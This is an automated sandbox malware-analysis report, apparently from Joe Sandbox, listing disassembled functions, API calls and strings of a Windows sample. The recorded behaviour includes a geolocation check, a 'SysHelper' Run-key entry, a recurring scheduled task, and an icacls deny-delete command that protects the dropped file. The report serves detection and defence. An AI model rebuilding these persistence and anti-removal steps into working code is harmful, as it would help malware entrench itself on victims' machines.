Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 5afbabc2f59452fd6ddfc90cbf9b5e50499003966667c38d0f6a18f07ec541d6
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 10313E36B883116BFB216F64EC08BAE7755AF05BE4F146415EBD5EF1C0DB7489008BA1

Uniqueness

Uniqueness Score: -1.00%

Function 05E32670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E326DB
_memset.LIBCMT ref: 05E32A30
_memset.LIBCMT ref: 05E32AC0

Strings

D, xrefs: 05E32AC8

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: bbea1365b51920b00b762b5d0a4b7cbe94effa5b86cbb58b4081a8cec5b23826
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 60E19D75D00219ABDF24DFA0CC4AFEEBBB9BF04304F1450A9E649B6190EB74AA45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 05E2D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E2D8EA

Strings

, xrefs: 05E2DADB
$, xrefs: 05E2DAE2
(, xrefs: 05E2DAE9

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 1182501aafc9417bf0e548e079c634c1a10d453fbec1b11c98251d02d1ec090c
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0391D071D00228AAEF20CFA0CD59BEDBBB5AF05304F145068E585B72C0DBB65A49CF65

Uniqueness

Uniqueness Score: -1.00%

Function 05E3A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E3A858
_memset.LIBCMT ref: 05E3A869
_memset.LIBCMT ref: 05E3A87A

Strings

p2Q, xrefs: 05E3A882

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: f6ee4cfd9a49106fe1e581db07791d495ae7df724fc322e05d9a257945252606
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 3FF0ED78698750A5FB217760BC2AB857E917B31B08F105088E1582E2E1D3FD638CA79A

Uniqueness

Uniqueness Score: -1.00%

Function 05E6FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E6FBF1

Part of subcall function 05E5169C: std::exception::_Copy_str.LIBCMT ref: 05E516B5

__CxxThrowException@8.LIBCMT ref: 05E6FC06

Strings

TeM, xrefs: 05E6FBE7, 05E6FBFB
TeM, xrefs: 05E6FBFE

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: da739856a3a012820cd56101aab0aa104bba4cba6f33daca1c80658f1791d012
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: C5D06775D0020CBBCB04EFA5D459DDDBBB8AA04344B1084A6AD9497241EA74A34DCB95

Uniqueness

Uniqueness Score: -1.00%

Function 05E2D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 05E4197D: __wfsopen.LIBCMT ref: 05E41988

_fgetws.LIBCMT ref: 05E2D15C

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 49b92bf3bcece563984332c4e2278cf63dc674bf88b481d0b80a88d64485d50d
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: FA911972E00329EBDF20DF64CE44BAEB7B5BF04304F142529E995A3244E775AA05CF95

Uniqueness

Uniqueness Score: -1.00%

Function 05E2D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 05E2D77E
_malloc.LIBCMT ref: 05E2D7B2
_malloc.LIBCMT ref: 05E2D7C1
_fprintf.LIBCMT ref: 05E2D815

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 9a9c58e3ce717c634e82e3beeecf642ca5bc90bfe45c2f7e094c54cf78138ce3
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: F0A1ADB1D0025CEBEF11EFA4DC4ABDEBB71AF14304F141068E5457B281E7B65A48CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 05E42AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E42B2E
__read_nolock.LIBCMT ref: 05E42BFE
__filbuf.LIBCMT ref: 05E42C21
_memset.LIBCMT ref: 05E42C65

Part of subcall function 05E45BA8: __getptd_noexit.LIBCMT ref: 05E45BA8

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: bd585ff32e232b0f4e9e9290038d9b60932771722cc3d80a2cb05668b37f6b21
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: FB51C438B043059BEF25CF69A8846AE77B7BF40324F149769FAB5962D0D7709950CF40

Uniqueness

Uniqueness Score: -1.00%

Function 05E61359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 05E6137D

Part of subcall function 05E61A9D: __fltout2.LIBCMT ref: 05E61AC6

__cftog_l.LIBCMT ref: 05E613A3
__cftoe_l.LIBCMT ref: 05E613D5

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 6dd7a92aea4efcc900c198843b5935c472b2379ad65cce6ba4f6876ccab429e3
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 75014B3288414AFBCF1B5E84DC05CEE3F63BB192D4B49A415FA9A58430D236C5B1EB81

Uniqueness

Uniqueness Score: -1.00%

Function 05EE7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 05EE7A4B

Part of subcall function 05EE8140: ___BuildCatchObjectHelper.LIBCMT ref: 05EE8172
Part of subcall function 05EE8140: ___AdjustPointer.LIBCMT ref: 05EE8189

_UnwindNestedFrames.LIBCMT ref: 05EE7A62
___FrameUnwindToState.LIBCMT ref: 05EE7A74
CallCatchBlock.LIBCMT ref: 05EE7A98

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 9347e606aa387f845789381b66a7f74e4f4a5998d3feb5161b389991670b25b4
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: CE012532510149BBDF12AF55DC05EEA3BBAFF48758F14A014FE9C66120D332E9A1DBA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: n8XBpFdVFU.exePID: 4308, Parent PID: 3524COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	36%
Total number of Nodes:	828
Total number of Limit Nodes:	23

Executed Functions

Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,0075BB58,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

C:\Program Files (x86)\Google\, xrefs: 0041AEE7
--AutoStart, xrefs: 0041A2EC
D:\Program Files (x86)\Google\, xrefs: 0041B085
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
IsNotTask, xrefs: 0041A654
C:\Windows\, xrefs: 0041AE0F
--Task, xrefs: 0041A2CD
I:\5d2860c89d774.jpg, xrefs: 0041B32F
C:\Program Files\Google\, xrefs: 0041AFB9
IsTask, xrefs: 0041A1EE, 0041A299
--Admin, xrefs: 0041A1B4, 0041A632
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
--Service, xrefs: 0041A30B
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
IsAutoStart, xrefs: 0041A1D0, 0041A273
x2Q, xrefs: 0041A856
X1P, xrefs: 0041A485
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
D:\Program Files\Google\, xrefs: 0041B0EE
F:\, xrefs: 0041B397
D:\Windows\, xrefs: 0041AFF3
--ForNetRes, xrefs: 0041A22E
list<T> too long, xrefs: 0041B669, 0041B673
7P, xrefs: 0041B164
IsNotAutoStart, xrefs: 0041A645
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
%username%, xrefs: 0041B283
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
x*P, xrefs: 0041ACE4
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
runas, xrefs: 0041A6CE
<, xrefs: 0041A67B

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: d015b84eba4a4434be79b711f18dbc426407edb0061b691a0cb40fbdcb0bdc00
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: d015b84eba4a4434be79b711f18dbc426407edb0061b691a0cb40fbdcb0bdc00
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

2030-05-02T08:00:00, xrefs: 0040D737
--Task, xrefs: 0040D8DD
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
Author Name, xrefs: 0040D4C8
Trigger1, xrefs: 0040D6FA
PT5M, xrefs: 0040D5A1, 0040D66C
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
Time Trigger Task, xrefs: 0040D43C, 0040D973

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

kernel32.dll, xrefs: 0041224E
EnumProcessModules, xrefs: 0041226C, 004122A1
GetModuleBaseNameW, xrefs: 00412277, 004122AC
Psapi.dll, xrefs: 0041228C
EnumProcesses, xrefs: 00412264, 00412299

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

https://api.2ip.ua/geo.json, xrefs: 0040CF79
"country_code":", xrefs: 0040CFE1
Microsoft Internet Explorer, xrefs: 0040CF5A

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

SHGetFolderPathW, xrefs: 00411E9F
icacls ", xrefs: 0041214C
SysHelper, xrefs: 00411D5B, 004120EB
D, xrefs: 00412128
" --AutoStart, xrefs: 00411DD1
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
" --AutoStart, xrefs: 004120C2
Shell32.dll, xrefs: 00411E94

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 004240F6 Relevance: 7.5, APIs: 5, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsetenvp.LIBCMT ref: 0042404A
__amsg_exit.LIBCMT ref: 00424055
